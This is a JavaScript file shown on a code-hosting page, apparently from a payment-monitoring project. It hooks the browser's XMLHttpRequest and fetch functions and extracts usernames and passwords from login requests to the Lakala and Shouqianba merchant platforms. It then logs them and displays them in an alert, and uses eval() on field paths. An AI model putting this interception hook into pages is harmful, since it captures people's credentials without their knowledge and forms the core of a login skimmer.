mpay/public/static/js/helper.js
2024-12-09 14:40:21 +08:00

78 lines
2.1 KiB
JavaScript
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

// 登陆配置
const logins = [
{
name: '拉卡拉',
host: 'm2.lakala.com',
method: 'POST',
orderQuery: '/m/lamsmerdash/account/pwdLogin',
accPath: 'account',
pswPath: 'pwd',
},
{
name: '收钱吧',
host: 'web-platforms-msp.shouqianba.com',
method: 'POST',
orderQuery: '/api/login/ucUser/login',
accPath: 'username',
pswPath: 'password',
}
];
// 提取登陆信息
function extractLoginInfo(request, logins) {
logins.forEach((login) => {
const urlObj = isHttp(request.url, login.host);
if (login.host.toLowerCase() === urlObj.hostname.toLowerCase() &&
login.orderQuery.toLowerCase() === urlObj.pathname.toLowerCase() &&
login.method.toLowerCase() === request.method.toLowerCase()) {
const jsonData = JSON.parse(request.request);
const acc = eval(`jsonData.${login.accPath}`);
const psw = eval(`jsonData.${login.pswPath}`);
const data = {
'账号': acc,
'密码': psw
};
console.log('----- ' + login.name + ' -----');
console.table(data);
alert('账号:' + acc + '\n密码' + psw);
}
})
}
function isHttp(url, host) {
if (url.startsWith('http') || url.startsWith('https')) {
return new URL(url);
} else {
url = 'https://' + host + url;
return new URL(url);
}
}
var oldOpen = XMLHttpRequest.prototype.open;
var oldSend = XMLHttpRequest.prototype.send;
XMLHttpRequest.prototype.open = function (method, url) {
this._url = url;
this._method = method;
return oldOpen.apply(this, arguments);
};
XMLHttpRequest.prototype.send = function (body) {
this._body = body;
const res = {
url: this._url,
method: this._method,
request: this._body
};
extractLoginInfo(res, logins);
return oldSend.apply(this, arguments);
};
window.au_fetch = window.fetch;
window.fetch = function (url, options) {
const res = {
url: url,
method: options.method,
request: options.body
};
extractLoginInfo(res, logins);
return window.au_fetch.apply(window, [url, options]).then((response) => {
return response;
})
};